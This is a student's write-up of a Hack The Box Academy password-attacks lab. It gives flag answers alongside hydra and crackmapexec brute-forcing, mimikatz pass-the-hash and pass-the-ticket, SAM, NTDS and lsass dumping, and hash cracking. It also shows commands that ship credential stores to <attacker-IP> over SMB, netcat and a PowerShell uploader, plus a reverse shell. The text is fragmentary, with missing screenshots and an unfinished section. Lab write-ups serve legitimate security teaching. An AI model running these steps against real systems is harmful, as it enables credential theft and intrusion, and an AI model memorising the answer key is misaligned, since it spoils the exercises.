Password Attacks
Password Attacks
We found the flag at john’s Desktop! Lets get the flag with ‘cat’:
cat C:\Users\john\Desktop\flag.txt
Question: Find the user for the SSH service and crack their password. Then,
when you log in, you will find the flag in a file there. Submit the flag you found
as the answer.
Answer: HTB{Let5R0ck1t}
Method: we will use hydra password cracking tool – we will use the command:
hydra -L username.list -P password.list ssh://<target-IP>
to bruteforce the ssh service with the default username and credential lists,
after some bruteforcing we will get:
dennis:rockstar credentials
we will use the command
ssh dennis@<target-IP>
and then we will be prompted for a fingerprint (enter yes) and then prompted
for password – where we enter the password ‘rockstar’:
We are in.
Our default CLI within the target machine is cmd, we will enter ‘powershell’ to
change the CLI to powershell, then I assumed the flag is also in desktop get the
flag directly without ‘searching’ first:
cat Desktop\flag.txt
the command works because our default path is dennis’s home folder:
Question: Find the user for the RDP service and crack their password. Then,
when you log in, you will find the flag in a file there. Submit the flag you found
as the answer.
Answer: HTB{R3m0t3DeskIsw4yT00easy}
Method: the bruteforce command is very similar to the ssh command – also
using hydra:
hydra -L username.list -P password.list rdp://<target-IP>
after a minute or 2:
and then:
run
And we are in the smb server, in the smb server CLI: we run
ls
to confirm flag existence:
Now the flag is our machine, on the pwnbox terminal - we can confirm with ls,
when confirm – we cat it:
ls flag.txt
cat flag.txt
Password Mutations:
Question: Create a mutated wordlist using the files in the ZIP file under
"Resources" in the top right corner of this section. Use this wordlist to brute
force the password for the user "sam". Once successful, log in with SSH and
submit the contents of the flag.txt file as your answer.
Answer: HTB{P455_Mu7ations}
Method: First we will have to prepare the mutated password list, to be called
‘mut_password.list’ – for that we will require the original ‘password.list’, and
the other file from the resources folder – ‘custom.rule’ to create a mutated
password list – which is basically the process of taking every word within the
password list, and ‘transform’ it to variant more fit to comply with password
policies, for example ‘Yigritte’ → ‘Y1gritt3@’.
‘custom.rule’ is the set of rules to which variants every password will be
mutated to. Of course ‘custom.rule’ may have more than a single rule so the
output password lists with the mutated variants of the original passwords will
contain far more values than the original list.
To mutate our password list we will use the hashcat command:
hashcat --force password.list -r custom.rule --stdout | sort
-u > mut_password.list
and we will get the output file ‘mut_password.list’.
running line count (‘wc -l’) on that file will reveal:
94044 values, brute forcing them all in a single chunk will take far too long.
So what I did is to split the ‘mut_password.list’ to sub-lists based on the
character lengths for each value.
After some trial and error – I will tell you up front that the correct password
has more than 10 characters – so we will create a sub-list of
‘mut_password.list’ – called ‘mut_password2.list’, which will contain only the
values whose length is 10 characters or more. For that we will use the
command:
awk 'length($0) >= 10' mut_password.list >
mut_password2.list
running line count on the sub-mutated list:
Will reveal that there are 55711 values, almost half than the original list’s
length.
However, ssh default brute-force it will still be very slow.
Operating on the assumption that the target user, in this case ‘sam’ is using the
same password for multiple service – we will bruteforce another service, which
the process of bruteforce it is much faster.
Lets check the target runs ‘ftp’ service – port 21:
Good, ‘ftp’ is up and running we will brute force that instead of ‘ssh’ – ftp brute
forcing is much faster.
We will also set high number of threads working on the bruteforce, the default
is 16, we will set the amount of threads to 48:
hydra -l sam -P mut_password2.list ftp://<target-IP> -t 48
we use hydra to bruteforce ‘sam’ password with ‘mutated_password2.list’ –
the mutated password which contains the values of 10 characters long or
more, on ftp service, with 48 threads (64 works too, but in this writeup I did
with 48).
After approximately 15 minutes of bruteforcing:
Ok we have sam’s ftp password, time to check if sam really uses the same
password for all of his services, lets attempt to login to his ssh account with the
password, we will run the command
ssh sam@<target-IP>
and then we will be prompted for the password, (and fingerprint confirmation
– enter ‘yes’), when entered:
.
.
We are in!
Lets run the commands:
pwd
find . -type f -name flag.txt 2>/dev/null
pwd will tell us our present working directory (which will be sam’s working
directory), and the find command will locate the flag somewhere within the
present working directory (denoted as ‘.’), in this case – ‘/home/sam’:
Ok we have several possible options. We will need to check them to see what
credentials takes us in to the mysql.
First we will ssh login to ‘sam’ account via the previous obtained credentials
and the same method.
Once in, we run the command
mysql -u <user> -p<password>
*pay attention there is no space between the ‘-p’ and the password. *
Ok lets test the first three options:
All failed – access denied.
*we can confirm saving with ‘ls’ or looking visually at the directory. *
Now lets transfer the files to our attacking pwnbox using SMB share (in a bit
different way used on the Windows Privilege Escalation writeup equivalent task
(page 124)).
On the pwnbox, we will run the command:
sudo python3 /usr/share/doc/python3-
impacket/examples/smbserver.py -smb2support CompData ./
where ‘./’ is the pwnbox user’s home directory, and ‘CompData’ is the name of
the share:
Now our share is up and running, when there are incoming files, incoming
uploads will be displayed.
On the target machine, we run the commands:
move SAM \\<attacker-IP>\CompData
move SECURITY \\<attacker-IP>\CompData
move SYSTEM \\<attacker-IP>\CompData
the command will move the files from bob’s documents folder (where they
were saved), to the share – where they are essentially uploaded to the attacker
machine:
And when done, we can confirm with ‘ls S*’ (look for all files which begin with
‘S’):
Ok all the necessary files are in the attacking pwnbox.
Lets get the credentials dump with ‘secretdump.py’. we will use the command:
python3 /usr/share/doc/python3-
impacket/examples/secretsdump.py -sam SAM -security SECURITY
-system SYSTEM LOCAL
We are looking for the NTLM hash of ‘ITbackdoor’, which is marked at the
screenshot above.
Method 2:
we will use crackmapexec:
crackmapexec smb <target-IP> --local-auth -u bob -p
HTB_@cademy_stdnt! --sam
*the user’s credentials are built in on the command. *:
Question: Dump the LSA secrets on the target and discover the credentials
stored. Submit the username and password as the answer. (Format:
username:password, Case-Sensitive)
Answer: frontdesk:Password123
Method: we will use crackmapexec, similar command to the hash dumping:
crackmapexec smb <target-IP> --local-auth -u bob -p
HTB_@cademy_stdnt! --lsa
the difference is here we have the ‘--lsa’ for gettings the credentials:
*
*
Question: Apply the concepts taught in this section to obtain the password to
the Vendor user account on the target. Submit the clear-text password as the
answer. (Format: Case sensitive)
Answer: Mic@123
Method: first, we will RDP to the target Windows machine with ‘htb-student’
provided credentials.
Now the objective is to get lsass dmp.
We will open the task manager, and on ‘Processes’ tab – we will look for the
process: ‘Local Security Authority Process’
Here it is.
Lets use the same ‘smb’ method to transfer the file to the attacking pwnbox, as
we did in ‘Attacking SAM’ section (the steps will not be repeated here, but full
details refer to that section), but here are the necessary transfer commands:
Server:
sudo python3 /usr/share/doc/python3-
impacket/examples/smbserver.py -smb2support CompData ./
Client:
move lsass.dmp \\<attacker-IP>\CompData
Once we have it, we will use the tool ‘pypykatz’ (python implementation of
‘mimikatz’) to process the dmp.
‘pypykatz’ is not preinstalled in the attacking pwnbox, we will have to install it
with pip:
pip3 install pypykatz
We have the NTLM hash. Lets put the hash in ‘hash.txt’ and download rockyou
wordlist. Then we run the hashcat command:
sudo hashcat -m 1000 hash.txt rockyou.txt
*Note – don’t bother with the sha1 hash, it won’t work (well for me it didn’t). *
Attacking Active Directory & NTDS.dit:
Question: What is the name of the file stored on a domain controller that
contains the password hashes of all domain accounts? (Format: ****.***)
Answer: NTDS.dit
Method: ‘NT Directory Services (NTDS) is the directory service used with AD to find &
organize network resources. Recall that NTDS.dit file is stored at %systemroot%/ntds on the
domain controllers in a forest. The .dit stands for directory information tree. This is the
primary database file associated with AD and stores all domain usernames, password
hashes, and other critical schema information. If this file can be captured, we could
potentially compromise every account on the domain similar to the technique we covered in
this module's Attacking SAM section. As we practice this technique, consider the importance
of protecting AD and brainstorm a few ways to stop this attack from happening.’
Question: Submit the NT hash associated with the Administrator user from the
example output in the section reading.
Answer: 64f12cddaa88057e06a81b54e73b949b
Method: lets take a look on the section’s example output of NTDS.dit dump:
The NTLM hash is the second hash, so we will take it from the Administrator’s
line.
Question: On an engagement you have gone on several social media sites and
found the Inlanefreight employee names: John Marston IT Director, Carol
Johnson Financial Controller and Jennifer Stapleton Logistics Manager. You
decide to use these names to conduct your password attacks against the target
domain controller. Submit John Marston's credentials as the answer. (Format:
username:password, Case-Sensitive)
Answer: jmarston:P@ssword!
Method: first, we will have to compile a list of possible usernames based on
their names. Our current target is ‘John Marston’. Let’s make a file ‘names.txt’
and but its name in there:
Now, we will download the tool ‘Username Anarchy’ which will do the
compilation for us, we will use the command:
./username-anarchy-master/username-anarchy -i names.txt >
usernames.txt
*The executable is within ‘username-anarchy-master’ folder. *
We will output the results to a file called ‘usernames.txt’.
We will also require password wordlist, we can use the wordlist ‘fasttrack’
we will run the crackmapexec command
crackmapexec smb <target-IP> -u usernames.txt -p
fasttrack.txt | grep '+'
where the grep ‘+’ is used to suppress display of incorrect credentials that
would otherwise flood the terminal.
The command will bruteforce all the possible names in the ‘usernames.txt’ for
all the possible names in ‘fasttrack.txt’:
Credentials obtained.
*Note – ‘rockyou’ will not work here as it does not contains the correct
password*
Question: Capture the NTDS.dit file and dump the hashes. Use the techniques
taught in this section to crack Jennifer Stapleton's password. Submit her clear-
text password as the answer. (Format: Case-Sensitive)
Answer: Winter2008
Method: ok we need to obtain the NTDS.dit and transfer it to out attacking
pwnbox for cracking.
Method 1: we will have to login using ‘John Marston’ credentials that we had
just obtained, but to what service?
Lets run nmap:
nmap <target-IP> -sV -p 1-7500
to scan the first 7500 ports of our target machine (with extended inspection):
The best candidate is the WinRM service (port 5985)
We will use Evil-WinRM, using the command:
evil-winrm -i <target-IP> -u jmarston -p 'P@ssword!'
using the obtained credentials:
We are in. let’s obtain the credentials – for that we will need not only the
NTDS.dit, but also SYSTEM (yes – ‘C:\Windows\syste32\config\SYSTEM’)
We will have to see what privileges our user has, we will run the commands:
net localgroup
for our local group privileges
or
net user jmarston
for domain privileges
local group privileges output:
Domain groups:
*
*
cmd.exe /c copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\syst
em32\config\SYSTEM c:\NTDS\SYSTEM
(the format is ‘HarddiskVolumeShadowCopyX’)
Server:
sudo python3 /usr/share/doc/python3-
impacket/examples/smbserver.py -smb2support CompData ./
Client:
move C:\NTDS\NTDS.bit \\<attacker-IP>\CompData
move C:\NTDS\NTDS.bit \\<attacker-IP>\CompData
Method 2 is of course much faster, and in real case I would pick that method as
default, but its important to show both possible methods to obtain ‘Jennifer
Stapleton’ NTLM hash.
Now that we have the hash – time to crack it (using rockyou password list), we
will use the same steps done in previous NTLM hash cracking (using hashcat):
sudo hashcat -m 1000 hash.txt rockyou.txt
Credential Hunting in Windows:
Question: What password does Bob use to connect to the Switches via SSH?
(Format: Case-Sensitive)
Answer: WellConnected123
Method: First, we will RDP to the target windows machine with the credentials
of ‘bob’, provided to us.
In bob’s Desktop:
And in it..
Passwords file – lets open it:
There are 2 passwords inside, the relevant password for this question is the
first one – ‘Switches via SSH’, whose value is ‘WellConnected123’
Question: What is the GitLab access code Bob uses? (Format: Case-Sensitive)
Answer: 3z1ePfGbjWPsTfCsZfjy
Method: looking again at WorkStuff Folder:
when the tool is downloaded to the target machine, we will run it with the
command:
start lazagne.exe all
a new terminal will be opened:
This active directory user adding script has default hard coded password.
Question: What are the credentials to access the Edge-Router? (Format:
username:password, Case-Sensitive)
Answer: edgeadmin:Edge@dmin123!
Method: in the Desktop we have Visual Studio code:
EdgeRouterConfigs..
Lets take a look at the content:
Linux Local Password Attacks
Credential Hunting in Linux:
Question: Examine the target and find out the password of the user Will. Then,
submit the password as the answer.
Answer: TUqr7QfLTLhruhVbCP
Method: In this question we are provided with a target Linux machine, but no
credentials for initial login, which has to be obtained for further examination.
However, looking at the hint:
Access denied.
Lets attempt to mutate the password, just as we did in ‘Password Mutations’
We will put the the original password in a file called ‘password.txt’, and output
the mutated passwords list to mut_password.txt. we will use the command:
hashcat --force password.txt -r custom.rule --stdout | sort
-u > mut_password.txt
and here is the start of the output mutated passwords file:
Now, running the bruteforce with ‘Kira’ username will fail – so lets try to use
small ‘k’ in the name – ‘kira’, we will use the command:
hydra -l kira -P mut_password.txt ssh://<target-IP>
and the password is found:
kira:L0vey0u1!
Ok lets login:
ssh kira@<target-IP>
*
*
We are in. lets start to explore the machine and locate ‘Will’ credentials.
There are plenty of ways to inspect the machine for the credentials, all of which
could be useful, however the method that will obtain the password in this
question is the use of firefox_decrypt - a tool which will extract the data from
Firefox app-data, which contains the passwords (which are encrypted as
default), and decrypts them (with decryption keys and other stored data
required for the decryption within Firefox app-data).
We will download the reposiroty, unzip the folder and go in it with ‘cd’.
Then we will download the tool to the target machine with temporary python
server using the commands:
Server:
python -m http.server 8080
Client:
wget http://<attacker-IP>:8080/firefox_decrypt.py -outfile
firefox_decrypt.py
once downloaded – lets confirm tool existence on the target machine:
*
*
We are in.
To obtain root’s password, we need his hash – which is located at
‘/etc/sahdow’. Lets run:
ls -l /etc/shadow
to see if we even have permissions to read the file (will user has no sudo or any
elevated privileges in the target machine):
The file can be read only by its owner (root), or members of the group
‘shadow’.
Running
groups
will rule out will’s membership in the group ‘shadow’
$6 means we are dealing with SHA-512 hash algorithm, whose hashcat code is
1800.
Out of the hash – we need the marked (yellow) part:
We will also required the resources folder, containing the password.list and the
custom.rule. in the pwnbox we will run:
hashcat --force password.list -r custom.rule --stdout | sort
-u > mut_password.list
to create the mut_password.list (the same one we made in previous relevant
sections)
when both are ready, we may begin the hashcat cracking with the command
hashcat -m 1800 hash.txt mut_password.list
*-m 1800 is for SHA512*:
Question: Try to connect via RDP using the Administrator hash. What is the
name of the registry value that must be set to 0 for PTH over RDP to work?
Change the registry key value and connect using the hash with RDP. Submit the
name of the registry value name as the answer.
Answer: DisableRestrictedAdmin
Method: from the section guide:
c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa
/t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
the above command sets ‘DisableRestrictedAdmin’ registry value to 0.
*both commands and screen were directly taken from the section guide,
regarding the correct registry value that has to be set to 0 in order to enable
RDP. *
Question: Connect via RDP and use Mimikatz located in c:\tools to extract the
hashes presented in the current session. What is the NTLM/RC4 hash of David's
account?
Answer: c39f2beb3d2ec06a62cb887fb391dee0
Method: First lets try to RDP to the target machine without setting
‘DisableRestrictedAdmin’ value to 0, we will use the command:
xfreerdp /v:<target-IP> /u:Administrator
/pth:30B3783CE2ABF1AF70F77D0660CF3453 /dynamic-resolution
we will get this error message:
Now lets try to RDP again (using the same RDP command):
somewhere within the results we will find David details and his NTLM hash:
Question: Using David's hash, perform a Pass the Hash attack to connect to the
shared folder \\DC01\david and read the file david.txt.
Answer: D3V1d_Fl5g_is_Her3
Method: open cmd on ‘C:\tools’, and run mimikatz command with the hash of
David obtained in the last question:
.\mimikatz.exe privilege::debug "sekurlsa::pth /user:david
/rc4:c39f2beb3d2ec06a62cb887fb391dee0
/domain:inlanefreight.htb /run:cmd.exe" exit
When we run the command, a new cmd terminal will be opened, lets run in the
new terminal:
dir \\dc01\david
That we RDP connected to from the pwnbox, it has interface faced to us (the
pwnbox), and another one faced to a second network.
And there is ‘DC01’ machine that is in the same second network with ‘MS01’,
and we can’t directly connect with from the pwnbox (as it is 2 different
networks)
It is from ‘DC01’ we obtained the flags in the previous 2 questions.
We will open 2 powershell terminals, one within that folder – we will call it is
terminal 1, and one in ‘C:\tools’, where – as can it be observed in the
screenshot, there is also ‘nc.exe’ netcat – we will call that terminal 2.
In terminal 2 we will run netcat listener (port 4444), with the command:
.\nc.exe -lvnp 4444
Now to terminal 1, before we create the reverse shellpayload, we will need the
MS01 IP, run
ipconfig
Now as established above, MS01 has 2 interfaces, we need the interface of the
network with the ‘DC01’, that would be Ethernet1 interface, therefore the
attacker IP is ‘172.16.1.5’.
Time to create the reverse shell payload, we will go to
https://www.revshells.com/, and create the payload according those
specifications:
The IP is the secondary network attacker IP (MS01 IP), and the port 4444
The reverse shellpayload will be at format of ‘PowerShell #3 (Base64)’ –
Windows OS
We got a connection.
Lets confirm our identity (make sure we are indeed ‘julio’) with the command
‘whoami’, our hostname (DC01) and then cat the flag (‘cat C:\julio\flag.txt’):
Question - Optional: Optional: John is a member of Remote Management
Users for MS01. Try to connect to MS01 using john's account hash with
impacket. What's the result? What happen if you use evil-winrm?. Mark DONE
when finish.
Answer: DONE
Method: going back to the mimikatz credentials obtained on question 3, we
can observe john’s credentials:
Again, no luck.
*other impacket tools suggested by the section’s guide similarly didn’t work. *
We will have the exported files. Now we need to deduce the amount of user
TGT collected.
We will see that the tgt files has in their names the word ‘krbtgt’ (Kerberos
ticket granting ticket). And to those files there are either before the ‘krbtgt’
part – the hostname itself (MS01) succeeding with ‘$’, separated from the
‘krbtgt’ part with ‘@’, or the username itself, also separated from the ‘krbtgt’
with ‘@’.
What does it means – the part of ‘MS01$@krbtgt’ is not counted (as it is not
user).
But ‘<user>@krbtgt’ is counted.
So on the powershell on ‘C:\tools’ directory’, we run this command:
(Get-ChildItem -File | Where-Object { $_.Name -like
'*@krbtgt*' -and $_.Name -notmatch '\$@krbtgt' }).Count
The command will count all the files with has the occurrences of ‘@krbtgt’,
however excluding ‘$@krbtgt’:
*here is the section guide explanation about the files format regarding user’s
tgt: ‘The tickets that end with $ correspond to the computer account, which needs a ticket to
interact with the Active Directory. User tickets have the user's name, followed by an @ that
separates the service name and the domain, for example: [randomvalue]-username@service-
domain.local.kirbi.’. *
Question: Use john's TGT to perform a Pass the Ticket attack and retrieve the
flag from the shared folder \\DC01.inlanefreight.htb\john
Answer: Learn1ng_M0r3_Tr1cks_with_J0hn
Method: from the list of output files obtained in the previous question, the file
that is relevant for our objective is ‘[0;4adfa]-2-0-40e10000-john@krbtgt-
INLANEFREIGHT.HTB.kirbi’.
On mimikatz CLI, we will enter the command:
kerberos::ptt [0;4adfa]-2-0-40e10000-john@krbtgt-
INLANEFREIGHT.HTB.kirbi
and we will get an ok:
Question: Use john's TGT to perform a Pass the Ticket attack and connect to
the DC01 using PowerShell Remoting. Read the flag from C:\john\john.txt
Answer: P4$$_th3_Tick3T_PSR
Method: proceeding from the end of the last question, we enter to the
powershell:
Enter-PSSession -ComputerName DC01
And now we are connected to DC01
*
*
Question: Extract the hashes from the keytab file you found, crack the
password, log in as the user and submit the flag in the user's home directory.
Answer: C@rl0s_1$_H3r3
Method: first small explanation about keytab from the section:
‘A keytab is a file containing pairs of Kerberos principals and encrypted keys (which are
derived from the Kerberos password).’.
Now for the extraction -we will use the tool ‘KeyTabExtract’, which in the target
machine ‘LINUX01’ is provided for us in ‘/opt’ directory as
‘/opt/keytabextract.py’.
We will run the command:
python3 /opt/keytabextract.py
/opt/specialfiles/carlos.keytab
*where ‘/opt/specialfiles/carlos.keytab’ is the file with the user read&write
pemission found in the previous question. *:
We have carlos’s NTLM hash – lets crack it – usually we crack the password
with hashcat (using some wordlist of rockyou or the password.list from the
resources bag), but this time we will go with the section suggested method -
crackstation online cracking:
When entering the obtained NTLM hash in there – we can see the cleartext
password is ‘Password5’.
*
*
Well the sh script makes me wonder what else in the ‘.scripts’ directory:
ls .scripts
So regarding ‘svc_workstations’ – we have ‘svc_workstations.kt’, and
‘svc_workstations._all.kt’ – where ‘kt’ must be ‘keytabs’.
Lets use ‘KeyTabExtract’ on both files:
python3 /opt/keytabextract.py .scripts/svc_workstations.kt
python3 /opt/keytabextract.py
.scripts/svc_workstations._all.kt
*
*
Question: Check the sudo privileges of the svc_workstations user and get
access as root. Submit the flag in /root/flag.txt directory as the response.
Answer: Ro0t_Pwn_K3yT4b
Method: lets begin with checking ‘svc_workstations’ sudo rights:
sudo -l
enter ‘svc_workstations’ password at prompt:
It seems there are 2 tickets which are belong to ‘julio’, (I don’t know why there
are 2, either way we pick the bottom one (the one which ends with ‘wr’).
*The bottom value constantly changes while the top one whose suffix is ‘Dux’ is
constant. The constant one will not work, only the bottom one, why? I don’t
know. But we go on with that. *
now lets run smb using our stored keytab, we will use the command:
smbclient //dc01/julio -k -c ls -no-pass
running ls on dc01/julio home directory, as instructed in the question
Lets get julio.txt – we will use ‘get’ to get the flag from DC01/julio to ‘LINUX01’
(root directory):
smbclient //dc01/julio -k -c 'get julio.txt' -no-pass
Access denied.
We have to find a keytab file of ‘linux01’ and use it to connect to linux01 share.
But where is this keytab file?
We will have to use the tool ‘Linikatz’ – a similar Mimikatz but to unix.
We will download it to the pwnbox, and then with temporary python server we
will transfer it to the target ‘LINUX01’ machine.
On pwnbox we will run
python -m http.server 8080
Here we have the ‘LINUX01’, and line above it the file full path location.
Lets assign the found path to the ‘KRB5CCNAME’ environment variable:
export KRB5CCNAME=/var/lib/sss/db/ccache_INLANEFREIGHT.HTB
lets confirm with ‘klist’:
Lets get the flag, confirm it with ‘ls’ and ‘cat’ it:
smbclient //dc01/linux01 -k -c 'get flag.txt' -no-pass
*the smb download of ‘flag.txt’ overwritten the previous original ’flag.txt’ that
were in ‘/root’. *
And
cat flag.txt
Sender:
nc <attacker-IP> 4444 < /tmp/krb5cc_647401106_NzSbv5
when the file is transferred, we will have Julio’s ccache file (‘received’) in the
pwnbox.
Now lets make the necessary pivoting modifications to allow the pwnbox to
directly reach to MS01 and DC01 machines (which are currently reachable from
‘LINUX01’ only).
On ‘LINUX01) lets run:
nslookup ms01
nslookup dc01
ms01 IP - 172.16.1.5, dc01 IP – 172.16.1.10
On pwnbox – lets run:
sudo nano /etc/hosts
to assign the IP’s to the hosts,
we will paste in it:
172.16.1.10 inlanefreight.htb inlanefreight
dc01.inlanefreight.htb dc01
172.16.1.5 ms01.inlanefreight.htb ms01
*** TO BE COMPLETED***
We are in.
Now we have to look for the ‘id_rsa’ ssh key. Traditionally – the key is stored in
‘~/.ssh/id_rsa’ in linux machine – lets check that:
Now, we will use a tool called ‘ssh2john’ which takes in a private key – and
generates the corresponding hashes for encrypted SSH keys, which we can then
store in files, ready to be cracked. We will use the command:
ssh2john.py ssh_private_key > ssh_private_key.hash
to get the corresponding hashes and output them to a file called
‘ssh_private_key.hash’:
Now lets use ‘john the ripper’ to crack the hashes, along with rockyou wordlist
We will run the command:
john --wordlist=rockyou.txt ssh_private_key.hash
For convenience, I copied the file from Documents for kira’s home directory
cp Documents/Notes.zip Notes.zip
We will have to transfer the file from the target machine to the attacking
pwnbox for further analysis.
Luckily we have python3 on the target machine, so lets set up temporary
python server on the target machine:
python3 -m http.server 8080
and while the server is running - on client (pwnbox), we run the command:
wget http://<target-IP>:8080/Notes.zip -outfile Notes.zip
when downloaded, we can confirm download with ‘ls Notes.zip’:
Now, we will use the tool ‘zip2john’ to get the corresponding hashes of the zip,
we will use the command:
zip2john Notes.zip > Notes.hash
to get the hashes to the output file ‘Notes.hash’
before we crack, we will need a passwordlist, lets get the passwords from the
resources folder, and generate the mutated password list with the command:
hashcat --force password.list -r custom.rule --stdout | sort
-u > mut_password.list
it is the same procedure done before regarding the mutated passwords list.
Once that we have that, we may start cracking using ‘john the ripper’, using the
command:
john --wordlist=mut_password.list Notes.hash
It tells us we need a public key, this ssh service will not accept passwords.
So lets get a public key.
Lets ftp (which stands for File Transfer Protocol) with his account, we will use
the commands:
ftp -n <target-IP>
user mike
then we enter his password:
And we are in, and we are presented with the ftp CLI.
Lets enter
ls
in it:
Ok we have the key, lets use that to ssh connect to mike user. we will use the
command:
ssh -i ./id_rsa mike@<target-IP>
And access denied due to file permissions are too open, it tells us that the
permissions are ‘0644’, which means non-owner can read the file.
We will have to modify that to ‘0600’ – denying non owner (which include
group users, and every other general user on the system) the ability to read
this file. We will do that with the command:
chmod 600 ./id_rsa
we can confirm the current permissions status in NUMERICAL FORMAT with
the command:
stat -c "%a" id_rsa
600 means non owner can not read (or do anything) the file.
For further info about Linux file permissions, click here.
Lets try to ssh connect again to mike’s user:
*
*
Linux user’s home directory should have the hidden file ‘.bash_history’, lets run
‘ls -a’ (‘-a’ is for show hidden files as well) to confirm:
Here it is, this file contains all past commands executed by ‘mike’, lets
investigate that file for any root related commands, we will use the command:
cat .bash_history | grep root
and the root’s password is right here:
Password Attacks Lab - Medium:
Question: Examine the second target and submit the contents of flag.txt in
/root/ as the answer.
Answer: HTB{PeopleReuse_PWsEverywhere!}
Method: first lets nmap scan the target machine:
nmap <target-IP> -sV -p 1-7500
*
*
So, we are logged as Guests, and have read access to ‘SHAREDRIVE’, lets take a
look – we will take a look at ‘SHAREDRIVE’ with the command:
smbclient -U root \\\\<target-IP>\\SHAREDRIVE
we are now logged in and have the smb CLI, lets see what we have with ‘ls’:
we will generate the mutated password list required for the cracking:
hashcat --force password.list -r custom.rule --stdout | sort
-u > mut_password.list
We will have to crack it, we will use the tool ‘office2john’ (which is similar to
the previous ‘zip2john’ and ‘ssh2john’ tools) (it is also built in the pwnbox (you
can always confirm with ‘which office2john.py’)).
And we will use the mut_password.list.
The commands we will run are:
office2john.py Documentation.docx > docx.hash
john --wordlist=mut_password.list docx.hash
*the commands work similarly to the previous tools. *:
The Documentation.docx password is ‘987654321’.
And the Documentation.docx is now open:
Some pages down, they were kind enough to write root’s password:
*
*
Looking at /home directory we can observe that there is another user called
‘dennis’ on the machine.
Investigating further in the Documentation.docx:
In the last page of the document, it states that mysql database should already
be setup. Let’s investigate it in the same manner investigated in ‘Password
Reuse / Default Passwords’ section.
We will login to mysql with ‘jason’ credentials and the command:
mysql -u jason -pC4mNKjAtL2dydsYa6
*make sure to login from jason ssh session on the target machine. *
We are now on the mysql with its CLI - Lets see what databases are there:
show databases;
The ‘users’ database looks interesting, we will choose and ask for tables display
within ‘users’ database:
use users;
show tables;
*
*
***
Lets investigate dennis home directory with ‘ls -a’:
ls -a
*don’t bother with attempting to use ‘sudo’, dennis also doesn’t has sudo
rights. *
And on client – the attacking pwnbox we will download the id_rsa with the
command:
wget http://<target-IP>:8080/id_rsa
And we can confirm download with ‘ls id_rsa’:
Ok we have the ‘id_rsa’ private key in the pwnbox, we will set its permissions to
600 like last time to prevent non-owner read of the file
chmod 600 id_rsa
And now lets connect to root:
ssh -i ./id_rsa root@<target-IP>
We need a passphrase….
Well we will obtain it in the same manner it was obtained in ‘Protected Files’
section.
This is where the question’s hint comes into play, and we will download from
here the tool ‘ssh2john’, the same tool used in ‘Protected Files’. (using the
pwnbox firefox browser, or wget, doesn’t matter)
When the ‘ssh2john’ is downloaded - we run the sequence of commands:
ssh2john.py id_rsa > id_rsa.hash
john --wordlist=mut_password.list id_rsa.hash
like in the ‘Protected Files’ section – we get the corresponding hash of the file,
and then we use john to crack it, using the mutated passwords list:
And we have a passphrase – ‘P@ssw0rd12020!’.
Lets ssh login again to root, using the ‘id_rsa’ private key and the obtained
passphrase:
*
*
We are in as root!
Lets run ‘ls’:
There are several services that runs on the machine, SMB is one them – lets try
to brute force that.
On the section details we were implied to use a username or a variation of the
username ‘Johanna’. We will arrange a proper username list based on
‘Johanna’ with the same method used in ‘Attacking Active Directory &
NTDS.dit’ section, using ‘Username Anarchy’.
When the tool downloaded and unzipped - we will run the commands:
echo Johanna > names.txt
when both lists are ready, lets start with SMB brute forcing. We can use
Metasploit, or crackmapexec, lets use the later:
we will use the command:
crackmapexec smb <target-IP> -u usernames.txt -p
mut_password.list | grep '+'
and after several moment we will get credentials!
We can immediately notice the ‘Logins.kbdx’ file on the quick access, located in
‘C:\Users\johanna\Documents’ folder (it’s the same ‘This PC\Documents’).
This ‘.kdbx’ is a ‘KeePass’ file, a password manager application which securely
stores user’s passwords (in an encrypted manner) of course) – lets try to open
it:
We are requested to enter a Master key, lets try the ‘1231234!’password:
We will have to find a way to crack it – we will use the tool keepass2john (do
NOT download it yet).
Before we proceed with it, let’s read some of its commented part:
It seems the tool support cracking for password database storage version 1.X.
Lets confirm the version of KeePass in johana user is compatible – when closing
the ‘master key is invalid’ box, we will be opened with a blank version of the
KeePass interface:
Go to Help → About KeePass
The line we care about is the last one – it says 1.X, which means compatible
*Note – while the versions seem to be inline, I am no expert in KeePass
versioning, maybe even if the versions weren’t fully compatible, the coming
steps are still worth to try. *
Now before we proceed with the keepass2john tool – the tool in the link above
is fit for python2, it will not work with python3, so I’ve modified the tool to fit
python3, download the modified tool to the pwnbox (or any other attacking
machine) from here (that’s why you were instructed to not download the
original tool).
The default name of the modified tool I gave is ‘keepass2john_3.py’, so upon
downloading, confirm file with ls:
Now that the tool is ready, we need to get ‘Logins.kbdx’ to the pwnbox. Using
the smb share method like in previous section will not work:
Now lets start the server - Lets run it with the command:
python3 python_server_advanced.py
and we will see the serving on port 8080 message:
While the server is listening, on the target machine, we will open powershell
on the ‘C:\Users\johanna\Documents’ folder, and run the (also crude)
powershell upload script:
$filePath = ".\Logins.kdbx"
$targetUrl = "http://<attacker-IP>:8080/upload"
# Create a WebClient object
$webClient = New-Object System.Net.WebClient
$webClient.Headers.Add("filename",
[System.IO.Path]::GetFileName($filePath))
$WebClient.Headers.Add("Authorization", "Basic " + $AuthStr)
$WebClient.Headers.Add("X-Atlassian-Token", "nocheck")
# Upload the file
$WebClient.UploadFile($targetUrl, (Get-Location).Path + "\"
+ $filePath)
Write-Output "File uploaded successfully"
*make sure to change the <attacker-IP> to the pwnbox or other attacker IP. *
When the file is uploaded, we will get 200 code on the server:
We can see the username ‘david’ (which simple exploring on the target
machine will reveal he is also a user on the machine), and a hidden password.
To reveal the password, we right click on the entry, and select ‘Edit Entry’:
And we are opened with an ‘Edit Entry’ Window:
We have read access to ‘david’ share (which johanna hasn’t) – lets enter it and
see what we’ve got:
smbclient -U david \\\\<target-IP>\\david
After password entry and ‘ls’ – ‘david’s share has ‘Backup.vhd’ file.
Lets get it to the pwnbox:
It is kinda heavy:
du -h -apparent-size Backup.vhd
this is a vhd file on the pwnbox – Virtual Hard Disk which size is 131 MB.
For the coming step this guide is very helpful!
We will mount the Backup.vhd on our pwnbox.
First we will need to install ‘libguestfs-tools’:
sudo apt-get update
sudo apt-get install libguestfs-tools
*installation will take approximately 2-3 minutes. *
Good there isn’t! (if there is – disconnect it with ‘sudo qemu-nbd -d /dev/nbd0’
or replace 0 with another number like ‘nbd1’ or ‘nbd2’)
And ‘qemu-nbd’:
Lets run
sudo fdisk -l /dev/nbd0
again to confirm mount:
Here is our stuff, on 2 sub-petitions, we will target the second one – nbd0p2.
We will run the command
sudo cryptsetup bitlkOpen /dev/nbd0p2 <label>
*in this write up* - the label will be ‘decrypted_vhd’*:
